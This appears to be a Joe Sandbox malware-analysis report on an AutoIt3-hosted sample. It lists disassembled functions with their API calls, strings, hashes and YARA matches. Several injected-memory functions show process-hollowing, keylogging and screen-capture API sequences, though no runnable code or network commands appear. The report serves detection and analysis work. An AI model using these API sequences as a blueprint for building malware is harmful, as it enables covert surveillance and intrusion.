Yara matches

Similarity

API ID: ObjectSelect$Palette$CreateDelete$ColorCompatibleRealize$BitmapRelease
String ID:
API String ID: 332224125-0
Opcode ID: d9a717ad8ee408eec1f267f3ad9c04878b318fa4d6c1501bc3f5500c9b7cb27e
Instruction ID: b616f7343fd015835dcc44aa38a9d81a9431e11de6257e01510aa68b2a0b9fe3
Opcode Fuzzy Hash: d9a717ad8ee408eec1f267f3ad9c04878b318fa4d6c1501bc3f5500c9b7cb27e
Instruction Fuzzy Hash: DE51EC75E04319BBEF10DBE8DC55FAEB7BCEB09704F1444B6B614EB281D67899408B90

Function 00860429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00851821: _memmove.LIBCMT ref: 0085185B

GetForegroundWindow.USER32(008D0980,?,?,?,?,?), ref: 008604E3
IsWindow.USER32(?), ref: 008966BB

Strings

CLASS, xrefs: 008964E5
ALL, xrefs: 00896622
LAST, xrefs: 00896472
REGEXPCLASS, xrefs: 00896506
HANDLE, xrefs: 0089649E
TITLE, xrefs: 00896650
ACTIVE, xrefs: 00896488
REGEXPTITLE, xrefs: 008964B4
INSTANCE, xrefs: 008965FA

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 84fd1481e755f71f1f8930470b3b941fd81089daceec4b2429beab1ed9f5f455
Instruction ID: d7fa9a3d450954398c32ffc4797907b45f7fb5d4d601a282b34e44f941843aad
Opcode Fuzzy Hash: 84fd1481e755f71f1f8930470b3b941fd81089daceec4b2429beab1ed9f5f455
Instruction Fuzzy Hash: BCD1B370104206EBCF04FF64C441AAABBA5FF54358F144B19F896D72A1EB30E969CF92

Function 03B9C5EC Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 351windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 03B9C856
CreateCompatibleDC.GDI32(00000001), ref: 03B9C8BB
CreateCompatibleBitmap.GDI32(00000001,00000001,00000001), ref: 03B9C8D0
SelectObject.GDI32(?,00000000), ref: 03B9C8DA
SelectPalette.GDI32(?,?,00000000), ref: 03B9C90A
RealizePalette.GDI32(?), ref: 03B9C916
CreateDIBitmap.GDI32(?,?,00000004,00000000,?,00000000), ref: 03B9C93A
GetLastError.KERNEL32(?,?,00000004,00000000,?,00000000,00000000,03B9C993,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 03B9C948
SelectPalette.GDI32(?,00000000,000000FF), ref: 03B9C97A
SelectObject.GDI32(?,?), ref: 03B9C987
DeleteObject.GDI32(00000000), ref: 03B9C98D

Strings

(, xrefs: 03B9C7A5
BM, xrefs: 03B9C710

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Select$CreateObjectPalette$BitmapCompatible$DeleteErrorLastRealize
String ID: ($BM
API String ID: 2831685396-2980357723
Opcode ID: b49644451afcc13b5ef5090d2b295d178be2d9955dd30dcfc109a4c47c11d169
Instruction ID: 4743a3f65d517afee1c032fa7e1d1b0731f524dcab315c54263bd8d86ff06f78
Opcode Fuzzy Hash: b49644451afcc13b5ef5090d2b295d178be2d9955dd30dcfc109a4c47c11d169
Instruction Fuzzy Hash: 31D10B75A00218AFEF15DFA8C894BAEBBF5FF49308F1484B6E914EB255D7349940CB60

Function 008C441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 008C44AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 008C456C

Strings

VIEWCHANGE, xrefs: 008C472B
GETSELECTEDCOUNT, xrefs: 008C454F
FINDITEM, xrefs: 008C46DF
GETSELECTED, xrefs: 008C469A
SELECT, xrefs: 008C4606
GETTEXT, xrefs: 008C4515
GETSUBITEMCOUNT, xrefs: 008C44F7
DESELECT, xrefs: 008C465A
ISSELECTED, xrefs: 008C4577
SELECTALL, xrefs: 008C45D3
GETITEMCOUNT, xrefs: 008C44DE
SELECTINVERT, xrefs: 008C463C
SELECTCLEAR, xrefs: 008C45EB

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 2b3a55f6288b7c7a77796a74d0f21033dbc8ce702b372b4db3cc1ef43c8fbe10
Instruction ID: 444e1d47606d912b10fac0521ef81f40bc66bbe9053c36c3f72b0acb8cca3fe4
Opcode Fuzzy Hash: 2b3a55f6288b7c7a77796a74d0f21033dbc8ce702b372b4db3cc1ef43c8fbe10
Instruction Fuzzy Hash: 3AA18D302142099BCB14EF68C961F6AB3A5FF95314F105A6CF896DB392DB30ED49CB52

Function 03B89098 Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 475processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 03B891F4
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,00000000,00000004), ref: 03B89218
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 03B8924B
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,00000000,00000004), ref: 03B8926B
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,00000000,00000004), ref: 03B892A3

Part of subcall function 03B8870C: GetTickCount.KERNEL32 ref: 03B88785

GetTickCount.KERNEL32 ref: 03B896AE

Strings

NtTerminateProcess, xrefs: 03B89549, 03B895C8, 03B896A4
NtSetContextThread, xrefs: 03B894A4
cmd.exe, xrefs: 03B89120
D, xrefs: 03B891B2
notepad.exe, xrefs: 03B89105
NtFreeVirtualMemory, xrefs: 03B8966E
NtUnmapViewOfSection, xrefs: 03B89353
NtResumeThread, xrefs: 03B894FB
NtGetContextThread, xrefs: 03B892F7

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CreateProcess$CountTick
String ID: D$NtFreeVirtualMemory$NtGetContextThread$NtResumeThread$NtSetContextThread$NtTerminateProcess$NtUnmapViewOfSection$cmd.exe$notepad.exe
API String ID: 2656259652-830972145
Opcode ID: d03cb0616bf08ed49ab2b1b9b94a015646ffac457efb85b0b388fc71a8a2b601
Instruction ID: f019d0426ed5f1478eced1daa8f5b9597593499437011ab693079aab8fd86567
Opcode Fuzzy Hash: d03cb0616bf08ed49ab2b1b9b94a015646ffac457efb85b0b388fc71a8a2b601
Instruction Fuzzy Hash: 9E12CC75A00219AFEF50EBA8C981FEEB7F8AB08708F5440E5E504FB281D7749A44CF65

Function 0089CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 0089CBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0089CBBC
SetWindowTextW.USER32(?,?), ref: 0089CBD3
GetDlgItem.USER32(?,000003EA), ref: 0089CBE8
SetWindowTextW.USER32(00000000,?), ref: 0089CBEE
GetDlgItem.USER32(?,000003E9), ref: 0089CBFE
SetWindowTextW.USER32(00000000,?), ref: 0089CC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0089CC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0089CC3F
GetWindowRect.USER32(?,?), ref: 0089CC48
SetWindowTextW.USER32(?,?), ref: 0089CCB3
GetDesktopWindow.USER32 ref: 0089CCB9
GetWindowRect.USER32(00000000), ref: 0089CCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0089CD0C
GetClientRect.USER32(?,?), ref: 0089CD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0089CD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0089CD69

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 1f3975cfb436fb0cc45cbbf4b7146a702b9c91d6635d1cf0c8b39bd92277761f
Instruction ID: 7fe074b882f92172a1afda5366a85c58463837af690b250df196db57cfe38413
Opcode Fuzzy Hash: 1f3975cfb436fb0cc45cbbf4b7146a702b9c91d6635d1cf0c8b39bd92277761f
Instruction Fuzzy Hash: 4A515C70900709AFDB20AFA8DE89B6EBBF5FF44705F044A19E586E25A0C775E914CF50

Function 03B8C084 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 250sleepkeyboardthreadCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(0000000A,00000000,?,00000000), ref: 03B8C0D2
GetWindowThreadProcessId.USER32(?,?), ref: 03B8C0FC
GetKeyboardLayout.USER32(?), ref: 03B8C108

Part of subcall function 03B8C068: GetAsyncKeyState.USER32(00000000), ref: 03B8C06C

MapVirtualKeyExA.USER32(00000000,00000000,00000000), ref: 03B8C18C
GetKeyNameTextA.USER32(00000000,?,00000021), ref: 03B8C1A2

Part of subcall function 03B8B62C: GetForegroundWindow.USER32(00000000,03B8B68E,?,?,?,?,00000000), ref: 03B8B644
Part of subcall function 03B8B62C: GetWindowTextLengthA.USER32(00000000), ref: 03B8B64C
Part of subcall function 03B8B62C: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 03B8B669

Sleep.KERNEL32(?,00000000,03B8C456), ref: 03B8C421

Strings

{Del}, xrefs: 03B8C297
{Del2}, xrefs: 03B8C285
{start}, xrefs: 03B8C2A9
{Esc}, xrefs: 03B8C261
{Tab}, xrefs: 03B8C273
{end}, xrefs: 03B8C2BB
{Insert}, xrefs: 03B8C24F

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Window$Text$AsyncForegroundInfoKeyboardLayoutLengthNameParametersProcessSleepStateSystemThreadVirtual
String ID: {Del2}${Del}${Esc}${Insert}${Tab}${end}${start}
API String ID: 2662919289-1295617917
Opcode ID: 59a5640dde4d8d551d64f097422edf9d094d2b45d917499b7e87a57a8a104a7a
Instruction ID: 928e3149d4767a168e49b1bbc352c96184b1fcb4b587840a28a9cde9392a10fc
Opcode Fuzzy Hash: 59a5640dde4d8d551d64f097422edf9d094d2b45d917499b7e87a57a8a104a7a
Instruction Fuzzy Hash: 4F8181F590031D9ADB10FBB4CCC4AEEFB68EB8424CF5445F2D416EA251D6349B86CA36

Function 008CA7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 008CA87E
DestroyWindow.USER32(?,?), ref: 008CA8F8

Part of subcall function 00851821: _memmove.LIBCMT ref: 0085185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 008CA972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 008CA994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 008CA9A7
DestroyWindow.USER32(00000000), ref: 008CA9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00840000,00000000), ref: 008CAA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 008CAA19
GetDesktopWindow.USER32 ref: 008CAA32
GetWindowRect.USER32(00000000), ref: 008CAA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 008CAA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 008CAA69

Part of subcall function 008429AB: GetWindowLongW.USER32(?,000000EB), ref: 008429BC

Strings

tooltips_class32, xrefs: 008CA96B, 008CA9F9
0, xrefs: 008CA894

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 181dc3082bcb574b7ee200183a12788a63e74d357db157bfff0a5c86986a8263
Instruction ID: 19470f30d56d6942c46805fab5e5d2b5dff1c848577c578e3c4f92f7ef59b200
Opcode Fuzzy Hash: 181dc3082bcb574b7ee200183a12788a63e74d357db157bfff0a5c86986a8263
Instruction Fuzzy Hash: DC718770554248AFDB29CF28C849F6ABBF5FB88318F04461DF986C72A1D770E906DB52

Function 008CCCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008429E2: GetWindowLongW.USER32(?,000000EB), ref: 008429F3

DragQueryPoint.SHELL32(?,?), ref: 008CCCCF

Part of subcall function 008CB1A9: ClientToScreen.USER32(00F00700,?), ref: 008CB1D2
Part of subcall function 008CB1A9: GetWindowRect.USER32(?,?), ref: 008CB248
Part of subcall function 008CB1A9: PtInRect.USER32(?,?,008CC6BC), ref: 008CB258

SendMessageW.USER32(?,000000B0,?,?), ref: 008CCD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 008CCD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 008CCD66
_wcscat.LIBCMT ref: 008CCD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 008CCDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 008CCDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 008CCDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 008CCDFF
DragFinish.SHELL32(?), ref: 008CCE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 008CCEF9

Strings

@GUI_DRAGFILE, xrefs: 008CCEA8
@GUI_DRAGID, xrefs: 008CCE71
@GUI_DROPID, xrefs: 008CCE26

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: bc81f6a7211c030b788132d078b73c5f2b71e2b8d37cc2a7620cfeff22892f97
Instruction ID: 9658de63f3970e760a108916c49ca7e13395ffbd7419c7f031b68a10928fb68f
Opcode Fuzzy Hash: bc81f6a7211c030b788132d078b73c5f2b71e2b8d37cc2a7620cfeff22892f97
Instruction Fuzzy Hash: 6A614971508305AFC711EF64DC89E9BBBF9FB88750F000A2EF695D21A1DB319A49CB52

Function 03BB13D4 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDeviceCaps.GDI32(?,00000026), ref: 03BB1462
GetSystemPaletteEntries.GDI32(?,00000000,00000100,00000004), ref: 03BB149E
CreatePalette.GDI32(00000000), ref: 03BB14AF
CreateCompatibleDC.GDI32(?), ref: 03BB150B
ReleaseDC.USER32(00000000,?), ref: 03BB1521

Part of subcall function 03B954F8: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020119), ref: 03B95520
Part of subcall function 03B954F8: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000004,00000004,80000001,00000000,00000000,00020119), ref: 03B95547
Part of subcall function 03B954F8: RegCloseKey.ADVAPI32(00000000,80000001,00000000,00000000,00020119), ref: 03B9555F

CreateCompatibleBitmap.GDI32(?,00000000), ref: 03BB153C
DeleteDC.GDI32(00000000), ref: 03BB154D
ReleaseDC.USER32(00000000,?), ref: 03BB1555
SelectObject.GDI32(00000000,00000000), ref: 03BB1563
BitBlt.GDI32(00000000,00000000,00000000,00000000), ref: 03BB158C
GetCursorPos.USER32(?), ref: 03BB1595

Part of subcall function 03BB138C: GetCursorInfo.USER32(00000014), ref: 03BB13A8
Part of subcall function 03BB138C: DrawIconEx.USER32(00000000,?,?,?,00000020,00000020,00000000,00000000,00000003), ref: 03BB13C7

Part of subcall function 03B9CBC4: GetObjectA.GDI32(?,00000054,?), ref: 03B9CBFE

DeleteObject.GDI32(00000000), ref: 03BB15B1

Strings

Control Panel\Desktop\WindowMetrics, xrefs: 03BB1438
AppliedDPI, xrefs: 03BB1433

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CreateObject$CompatibleCursorDeletePaletteRelease$BitmapCapsCloseDeviceDrawEntriesIconInfoOpenQuerySelectSystemValue
String ID: AppliedDPI$Control Panel\Desktop\WindowMetrics
API String ID: 1784952395-3919141887
Opcode ID: 0c56bc144fd7f784c95add068cfe11dc7bf548969d6d77d36308d1928c827c27
Instruction ID: 6a6944ae1c2a7be889b4aa740d82190b63d0b4a0fbaae58d0d21670935ee98e2
Opcode Fuzzy Hash: 0c56bc144fd7f784c95add068cfe11dc7bf548969d6d77d36308d1928c827c27
Instruction Fuzzy Hash: EA519B74700208AFDB24EB68CA59BAEB7B9EF4D708F1440B8E105DF291DBB49845CB91

Function 008A82D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 008A831A
VariantCopy.OLEAUT32(00000000,?), ref: 008A8323
VariantClear.OLEAUT32(00000000), ref: 008A832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 008A841D
__swprintf.LIBCMT ref: 008A844D
VarR8FromDec.OLEAUT32(?,?), ref: 008A8479
VariantInit.OLEAUT32(?), ref: 008A852A
SysFreeString.OLEAUT32(?), ref: 008A85BE
VariantClear.OLEAUT32(?), ref: 008A8618
VariantClear.OLEAUT32(?), ref: 008A8627
VariantInit.OLEAUT32(00000000), ref: 008A8665

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 008A8447
Default, xrefs: 008A84DA

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 3ab346cad101bffc0c2891b7872768f760f517e13aa054d14fce095faffa374d
Instruction ID: cd2d233c1895d75b2820d589bb90d351ec3e04d26075e3fcbc50bdaf9f4b8e72
Opcode Fuzzy Hash: 3ab346cad101bffc0c2891b7872768f760f517e13aa054d14fce095faffa374d
Instruction Fuzzy Hash: A2D1CD71A04519EBEF209F65C888B6EB7B4FF06B05F248555E805EBA81DF34AC40DBA1

Function 008C49CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 008C4A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 008C4AAC

Strings

COLLAPSE, xrefs: 008C4AF2
UNCHECK, xrefs: 008C4C88
GETTOTALCOUNT, xrefs: 008C4A93
GETSELECTED, xrefs: 008C4BBC
SELECT, xrefs: 008C4C5D
EXISTS, xrefs: 008C4B15
CHECK, xrefs: 008C4ACC
EXPAND, xrefs: 008C4B5E
GETTEXT, xrefs: 008C4BFF
GETITEMCOUNT, xrefs: 008C4B8E
ISCHECKED, xrefs: 008C4C2F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 61943c5e8130c3247b8199b6df128b565bfa4405c1ef6177f393a75d1ad08bef
Instruction ID: 61bc33319d6152c68663f2c8cc0381e01bdc9f2f53084a787908a4f3b87240ef
Opcode Fuzzy Hash: 61943c5e8130c3247b8199b6df128b565bfa4405c1ef6177f393a75d1ad08bef
Instruction Fuzzy Hash: 569179302046199BCB04EF68C461B6AB7A1FF94354F14995DF896DB3A2CB31ED49CB82

Function 008AE25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 008AE31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 008AE32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 008AE33B
__wsplitpath.LIBCMT ref: 008AE399
_wcscat.LIBCMT ref: 008AE3B1
_wcscat.LIBCMT ref: 008AE3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 008AE3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 008AE3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 008AE41E
SetCurrentDirectoryW.KERNEL32(?), ref: 008AE43F
_wcscpy.LIBCMT ref: 008AE44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 008AE48A

Strings

*.*, xrefs: 008AE445

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 7c1dbc8f853ffeb8fe23addb3a6db32e45eea034deb40cef85bb8ffe1fb14e30
Instruction ID: 321f9eecd9573c6c497c9b4e2fb92c0a8c062422cfa9397372d81266e54738ec
Opcode Fuzzy Hash: 7c1dbc8f853ffeb8fe23addb3a6db32e45eea034deb40cef85bb8ffe1fb14e30
Instruction Fuzzy Hash: CE6167725047099FDB10EF68C844A9EB3E8FF89310F04891EF989C7651EB35E945CB92

Function 008AA27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 008AA2C2

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 008AA2E3
__swprintf.LIBCMT ref: 008AA33C
__swprintf.LIBCMT ref: 008AA355
_wprintf.LIBCMT ref: 008AA3FC
_wprintf.LIBCMT ref: 008AA41A

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 008AA3F7
"%s" (%d) : ==> %s:, xrefs: 008AA415
^ ERROR , xrefs: 008AA391
Line %d (File "%s"):, xrefs: 008AA336, 008AA34F
Incorrect parameters to object property !, xrefs: 008AA39E
Error: , xrefs: 008AA3C4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
